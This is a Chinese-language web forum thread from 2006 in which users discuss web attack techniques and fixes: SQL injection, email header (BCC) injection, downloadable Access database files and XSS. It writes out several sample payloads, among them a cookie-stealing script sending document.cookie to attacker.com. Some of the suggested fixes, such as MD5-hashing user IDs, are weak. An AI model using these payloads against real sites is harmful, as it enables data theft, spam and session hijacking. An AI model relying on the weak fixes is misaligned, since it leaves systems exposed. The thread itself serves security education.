|
网页教学,骇客技术与防范(TECHNIQUE AND PROTECTION)
[复制链接]
|
|
发表于 2-6-2006 10:19 AM
|
显示全部楼层
|
|
|
|
|
|
|
发表于 6-6-2006 01:30 AM
|
显示全部楼层
|
|
|
|
|
|
|
发表于 6-6-2006 09:14 AM
|
显示全部楼层
原帖由 weesiong1978 于 6-6-2006 01:30 AM 发表
记得要filter ;&(),"<>,不然hacker给你
userid = (1'; drop tablename) 你就哭了。
可以不可以只filter ;&(,"<
不要)和>,少了一个因该做不到什么吧。。
我觉得好像PHP没有这种问题吧。
有错请纠正。
谢谢 |
|
|
|
|
|
|
|
发表于 6-6-2006 12:32 PM
|
显示全部楼层
原帖由 weesiong1978 于 6-6-2006 01:30 AM 发表
只要骇客在网址后加入所猜测的档名,就可下载你的资料库
e.g url:www.xuanyuan.com
骇客只要加入\xuanyuan.mdb 或 \db\ xuanyuan.mdb, 然后就可以将整个资料库存起来
〉〉现在的webhosting server都会有一个 ...
敬仰, 敬仰。多谢参与交流
敢问阁下真身是何人? |
|
|
|
|
|
|
|
发表于 6-6-2006 08:06 PM
|
显示全部楼层
原帖由 轩辕二世 于 6-6-2006 12:32 PM 发表
敬仰, 敬仰。多谢参与交流
敢问阁下真身是何人?
真身?不知道什么意思
只是看到这个贴很有趣,就分享我对保安系统的经验。不过我都是跑WINDOWS漏洞,或者是资料轰炸。 |
|
|
|
|
|
|
|
发表于 6-6-2006 09:02 PM
|
显示全部楼层
原帖由 轩辕皇帝 于 10-5-2006 11:12 AM 发表
教学 2: SQL INJECTION
LANGUAGE:ASP & OTHERS
DATABASE:MS ACCESS, SQL SERVER & ANY OTHER DATABASES
许多网络上的网站都迈向E-COMMERCE,所以免不了要让会员登入一些会员专用区,让会员进行一 ...
其实还有一个很简单的解决楼主所引用的SQL Injection的方法,
只要在帐户注册进行时执行加密功能就行了,譬如说用MD5。
用此方法后,当我们去检查database的user table资料记录的话,
只会看到一堆杂乱信号或无用信息(hash)而已。
所以,若下次黑客尝试输入如“or loginid like 'M%' or '”的话,
系统便会把它加密为“ade8fd6c93444083a0c9b5616d206b9c”,而变成
"select * from table where loginid='ade8fd6c93444083a0c9b5616d206b9c' and password='$hash_password'",
SQL Injection的攻势也就这样被瓦解了。
[ 本帖最后由 亡者之疯 于 6-6-2006 09:13 PM 编辑 ] |
|
|
|
|
|
|
|
发表于 8-6-2006 12:37 AM
|
显示全部楼层
原帖由 亡者之疯 于 6-6-2006 09:02 PM 发表
其实还有一个很简单的解决楼主所引用的SQL Injection的方法,
只要在帐户注册进行时执行加密功能就行了,譬如说用MD5。
用此方法后,当我们去检查database的user table资料记录的话,
只会看到一堆杂乱信 ...
這個方法建議對 password 就好
如果 forget password 還可以由系統重新 generate
forget user id, 除非你有儲存在另外一個 table / field
不然就只好重新 create user 了 |
|
|
|
|
|
|
|
发表于 8-6-2006 12:42 AM
|
显示全部楼层
原帖由 weesiong1978 于 6-6-2006 01:30 AM 发表
只要骇客在网址后加入所猜测的档名,就可下载你的资料库
e.g url:www.xuanyuan.com
骇客只要加入\xuanyuan.mdb 或 \db\ xuanyuan.mdb, 然后就可以将整个资料库存起来
〉〉现在的webhosting server都会有一个 ...
所以我們也可以把 file.mdb rename 成 myfile08470397596.1rq5
或者是一些沒有規律的名字, 以防 '不小心' 被別人打開 |
|
|
|
|
|
|
|
发表于 14-10-2006 08:23 PM
|
显示全部楼层
原帖由 亡者之疯 于 6-6-2006 09:02 PM 发表
其实还有一个很简单的解决楼主所引用的SQL Injection的方法,
只要在帐户注册进行时执行加密功能就行了,譬如说用MD5。
用此方法后,当我们去检查database的user table资料记录的话,
只会看到一堆杂乱信 ...
这个方法行得通, 但是记得需要多一个Column来存Actual的Username, 要不然在Manual寻找资料, 做Troubleshooting就有点困难了。 |
|
|
|
|
|
|
|
发表于 14-10-2006 08:58 PM
|
显示全部楼层
我也来外加一篇:
BCC Injection
身为服务器管理员, 目前常见的问题之一就是BCC Injection了。 很多的PHP编程人员不知不觉的在自己的Code里建立了这个能够允许任何人都可以Send Mail到任何一个地方的错误。
这个问题最常发生在User的Contact Form, 大家有没有想过在这个原本只是Send给网页管理员的Form居然可以S使用这个方法Inject Mail Header然后Spam Email. 严重的话会造成Server Overload, 然后被ISP和一些Handle Spam Mail的Organization Blacklist你的Server。
要BCC Inject很简单, 通常大家在写PHP Mail的时候都会这么写:
1)mail("admin@aaaa.com",$subject,$message,"from : ".$email);
或者
2)mail("admin@aaaa.com",$subject,$message,"from : ".$sender_name." <$email>");
在1号的情况下如果Email没有Validate好的话就有被攻击的危险。Exm:
这是你的Contact Form
Email Address:
Name:
Message:
如果我在Email Address上填入:
test@gmail.com \r\nto:To: test2@gmail.com \r\nSubject: test spam\r\nMIME-Version: 1.0\r\nContent-type: text/html; charset=iso-8859-1......(详细内容请查阅Mail里面的Header)
这样就能够允许我修改From:test@gmail.com, 然后to: test2@gmail.com,之后加入我个人的Subject和Message。
在第一个情况如果Validate好Email的话就能够阻止了。 但是在第二个情况就没有那么乐观了, 因为通常程序员都不会去Validate Name的Format。只要在Name的Field填入以上Inject的代码就可以了。
建议各位要做好Email Validation, 不要使用Javascript来Validate, 因为Javascript可以被Disable或修改之后再次Post回Server(Download整个Form下来修改)。除非逼不得已,最好不要用第二个方法来Send Mail。如果真的要使用第二个方法的话记得不Allow一些敏感的符号通过就可以了, 比如说“:”。
以上是我个人经验分享,有错请纠正。
[ 本帖最后由 belon_cfy 于 14-10-2006 09:02 PM 编辑 ] |
|
|
|
|
|
|
|
发表于 14-10-2006 09:00 PM
|
显示全部楼层
原帖由 flashang 于 8-6-2006 12:42 AM 发表
所以我們也可以把 file.mdb rename 成 myfile08470397596.1rq5
或者是一些沒有規律的名字, 以防 '不小心' 被別人打開
其实不需要那么麻烦去Rename, 即使Rename了也是会有被猜到的机率。
直接放到wwwroot的外面就能够解决这个问题了。 比如说你的网页是在inetpub/wwwroot/index.asp, 吧Database直接放到inetpub里或inetpub/databaes就可以了, 注意Permission的Setting。 |
|
|
|
|
|
|
|
发表于 15-10-2006 12:12 AM
|
显示全部楼层
原帖由 belon_cfy 于 14-10-2006 08:58 PM 发表
我也来外加一篇:
BCC Injection
身为服务器管理员, 目前常见的问题之一就是BCC Injection了。 很多的PHP编程人员不知不觉的在自己的Code里建立了这个能够允许任何人都可以Send Mail到任何一个地方的错 ...
如果我在Email Address上填入:
test@gmail.com \r\nto:To: test2@gmail.com \r\nSubject: test spam\r\nMIME-Version: 1.0\r\nContent-type: text/html; charset=iso-8859-1......(详细内容请查阅Mail里面的Header)
hmm, 不是把整個 form store 到 database 做 log,
然後用一個 common 的 from
把整個 form 的 value 都方入 message 裡面嗎 ?
例如:
mail( $admin, $subject, $message, "web-request@aaaa.com );
而 $message 就包括 form 裡面的
email address, name, message
這樣你就可以根據 subject 或者 request type 來把 email forward 到不同的負責人 |
|
|
|
|
|
|
|
发表于 15-10-2006 01:08 AM
|
显示全部楼层
原帖由 flashang 于 15-10-2006 12:12 AM 发表
hmm, 不是把整個 form store 到 database 做 log,
然後用一個 common 的 from
把整個 form 的 value 都方入 message 裡面嗎 ?
例如:
mail( $admin, $subject, $message, "web-request@aaaa.com ...
有些人就是要Receiver的Email里有Sender的Email, 所以才在Header加上From:, 方便Receiver Reply他们的Email。
这个From就是在Email Message之前, 打个比方:
正常的Email Header
---------------------------------------------------------
Received: from customersupport ([xxx.xxx.xxx.xxx]) by aaa.com with MailEnable ESMTP; Fri, 13 Oct 2006 19:06:43 +0800
Message-ID: <28050664.01160737664870.JavaMail.root@customersupport>
Date: Fri, 13 Oct 2006 19:07:44 +0800 (SGT)
From: test@gmail.com
To: admin@testing.com
Subject:Testing email
MIME-Version: 1.0
Content-type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Mailer: VinceVinceVince's Amazing Code
Email Content
---------------------------------------------------------
被Inject过后就是
---------------------------------------------------------
Received: from customersupport ([xxx.xxx.xxx.xxx]) by aaa.com with MailEnable ESMTP; Fri, 13 Oct 2006 19:06:43 +0800
Message-ID: <28050664.01160737664870.JavaMail.root@customersupport>
Date: Fri, 13 Oct 2006 19:07:44 +0800 (SGT)
From: test2@gmail.com
to:test3@hotmail.com
Subject : This is my spam email
MIME-Version: 1.0
Content-type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Mailer: VinceVinceVince's Amazing Code
This is my spam email
test@gmail.com
To: admin@testing.com
Subject:Testing email
MIME-Version: 1.0
Content-type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Mailer: VinceVinceVince's Amazing Code
Email Content
---------------------------------------------------------
这只是个Example
[ 本帖最后由 belon_cfy 于 15-10-2006 01:14 AM 编辑 ] |
|
|
|
|
|
|
|
发表于 15-10-2006 06:09 PM
|
显示全部楼层
原帖由 belon_cfy 于 14-10-2006 09:00 PM 发表
其实不需要那么麻烦去Rename, 即使Rename了也是会有被猜到的机率。
直接放到wwwroot的外面就能够解决这个问题了。 比如说你的网页是在inetpub/wwwroot/index.asp, 吧Database直接放到inetpub里或inetpub/ ...
在Database檔名前加上1個 # 號,即使在wwwroot也無法下載.
例: http://www.xuanyuan.com/db/#xuanyuan.mdb |
|
|
|
|
|
|
|
发表于 15-10-2006 06:45 PM
|
显示全部楼层
原帖由 belon_cfy 于 15-10-2006 01:08 AM 发表
有些人就是要Receiver的Email里有Sender的Email, 所以才在Header加上From:, 方便Receiver Reply他们的Email。
这个From就是在Email Message之前, 打个比方:
正常的Email Header
------------ ...
如果把 email address 第一個空格後面的都 delete 掉, 例如
test2@gmail.com to:test3@hotmail.com Subject : This is my spam email MIME-Version: 1.0 Content-type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Mailer: VinceVinceVince's Amazing Code This is my spam email
將會變成
test2@gmail.com |
|
|
|
|
|
|
|
发表于 16-10-2006 08:37 PM
|
显示全部楼层
目前最普遍的漏洞应该还是XSS (Cross-site Scripting)吧。
这是一般网页编程员最常忽略的,也是最容易受到攻击的一个漏洞。即使是普通的Script kiddie也可以发动攻击。
XSS简单来说就是允许攻击者在网页注入恶意代码的漏洞,举个例子:
<?php
$msg = $_POST['msg'];
?>
<div><?php echo $msg;?></div>
看起来没什么问题,不过如果攻击者POST了这段字串的话就可以在网页注入代码:
"</div><script type=\"text/javascript\"> window.location="http://attacker.com/?cookie="+document.cookie;</script><div>"
就可以拿到某个受害者的cookie,进而利用这个资料登入网站。
目前XSS的威胁比SQL Injection还严重,因为只需要了解基本的scripting和一个有漏洞的网站就可以发动攻击了,随便Google一下就可以发现很多这样的漏洞。 |
|
|
|
|
|
|
|
发表于 16-10-2006 11:09 PM
|
显示全部楼层
原帖由 kfchai1982 于 16-10-2006 08:37 PM 发表
目前最普遍的漏洞应该还是XSS (Cross-site Scripting)吧。
这是一般网页编程员最常忽略的,也是最容易受到攻击的一个漏洞。即使是普通的Script kiddie也可以发动攻击。
XSS简单来说就是允许攻击者在网页注入恶意 ...
通常我都会把URL String Encrypt起来, 或者在Post的地方都会有Encrypted的Value以防止这类型的攻击。
比如:
http://xxx.xxxxxx.com/sendmail.p ... l23jfnnf2kj3h42l3kh
还有就是在RequestValue的地方要做好Validation。 |
|
|
|
|
|
|
|
发表于 17-10-2006 02:21 AM
|
显示全部楼层
果然是精华!谢谢各位分享的意见! |
|
|
|
|
|
|
|
发表于 18-10-2006 11:14 PM
|
显示全部楼层
原帖由 kfchai1982 于 16-10-2006 08:37 PM 发表
目前最普遍的漏洞应该还是XSS (Cross-site Scripting)吧。
这是一般网页编程员最常忽略的,也是最容易受到攻击的一个漏洞。即使是普通的Script kiddie也可以发动攻击。
XSS简单来说就是允许攻击者在网页注入恶意 ...
為了減少撿查 special characters 的麻煩,
一般上我都會把所有的字串 htmlentities ENT_NOQUOTES 起來 |
|
|
|
|
|
|
|
发表于 24-10-2006 07:50 PM
|
显示全部楼层
请问:
1)hacker有办法进路电脑,偷取你电脑里面的东西文件吗??
2)他们要弄坏人家电脑,有哪些方法呢??
3)它们写了病毒寄给你,是不是一定就死呢??
4) 他们寄来的病毒,不开就会没事呢?? |
|
|
|
|
|
|
| |
本周最热论坛帖子
|